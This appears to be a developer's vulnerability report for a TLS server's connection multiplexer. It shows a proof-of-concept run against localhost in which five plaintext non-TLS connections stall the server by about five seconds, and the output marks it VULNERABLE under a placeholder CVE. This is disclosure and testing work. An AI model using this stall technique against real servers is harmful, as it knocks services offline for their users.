PoC for TLS server multiplexer stall on failed SSL_accept

[nbolton]

I found a vulnerability where a TLS server can be DoS'd by a non-TLS client. This PoC proves it.

$ scripts/security/poc/cve_XXXX_XXXXX_tls_dos.py

CVE-XXXX-XXXXX — TLS multiplexer stall on failed SSL_accept
target: 127.0.0.1:24800  stalls: 5

[*] collecting baseline hello rtt (no attack)
  baseline hello rtt: 8 ms
  baseline hello rtt: 5 ms
  baseline hello rtt: 5 ms
  baseline median: 5 ms

[*] firing 5 plaintext garbage connections
[*] measuring hello rtt during attack
  attack hello rtt: 4957 ms

  attack median: 4957 ms
  overhead:      4951 ms (threshold 2500 ms)
[FAIL] multiplexer stalled by 4951 ms — VULNERABLE (CVE-XXXX-XXXXX)

To do

• Rename PoC script when we have CVE